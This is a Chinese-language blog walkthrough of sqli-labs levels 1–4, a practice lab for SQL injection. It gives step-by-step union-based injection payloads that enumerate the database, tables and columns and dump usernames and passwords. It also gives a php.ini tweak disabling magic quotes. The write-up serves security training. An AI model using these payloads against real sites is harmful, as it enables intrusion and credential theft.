sqli-labs1~4关解析以及目前遇到的问题解决方法

sqli-labs1~4关靶场解析

做sqli-labs靶场时推荐使用火狐浏览器,因为火狐里的hackbar插件可以节省许多时间的

1、判断闭合符合

首先判断闭合符合,闭合符号有4种(’、"、’)、"))
在这里插入图片描述
怎么判断呢。。。。。一个一个式就行了(反正就4个不会浪费多少时间的)
第一关判断出来的闭合符合为 ‘
别忘了在最后们加上注释符(–+或#)再判断闭合符合
在这里插入图片描述
不过,我感觉最快的还是直接看源代码
在这里插入图片描述

2、判断列数

使用order by 语句来判断
就是使用order by 从1开始判断
在这里插入图片描述
判断到4时,回显错误,证明列数为3
在这里插入图片描述

3、爆出数据库

因为这个有三列,所以后面的1,2,3 两个逗号分开了三个数字(4列就是4个咯),查询它所有的数据库(用union select语句之前要让id等于一个不存在的值,比如0,不然他就只执行id的命令,所以当你的id报错时,后面的联合查询才有效)
访问:?id=0’ union select 1,database(),3–+
在这里插入图片描述
得出数据库名为:security

4、爆出字段

使用group_concat函数
访问:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述
得出字段为:users

5、爆出字段值

访问:?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
得出:
在这里插入图片描述

6爆出值

访问:?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
在这里插入图片描述
至此,第一关结束
至于2~4,与第一关的区别就是闭合符合不同而已
葫芦画瓢,就能做出来的。

做靶场遇到的问题

1、第一关不能正常回显

在做第一关时遇到不能正常报错,就是无论是什么都是回显正常的问题
这是因为第一关的闭合符合是 ’ ,而phpstudy的5.2版本会对引号保护
所以不能正常回显
解决方法:打开配置文件php.ini,找到Magic quotes,将magic_quotes_gpc=On 修改为 magic_quotes_gpc=Off就可以了
注:D:\phpstudy_pro\Extensions\php\php5.2.17(这个版本型号按照自己按照ed版本)nts
按照这个途径可以找到php.ini文件

2、出现乱码

这个巨尴尬,原因是单引号用的中文(‘ ’)
结果几个学长来看都没解决,我TM直接裂开
幸亏还有关师傅看出毛病了
这个故事告诉我们,别随便用Ctrl+C和Ctrl+V。。。。。。
特别还是博客自己没完成就复制粘贴了。。。。。。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_53105784/article/details/114850813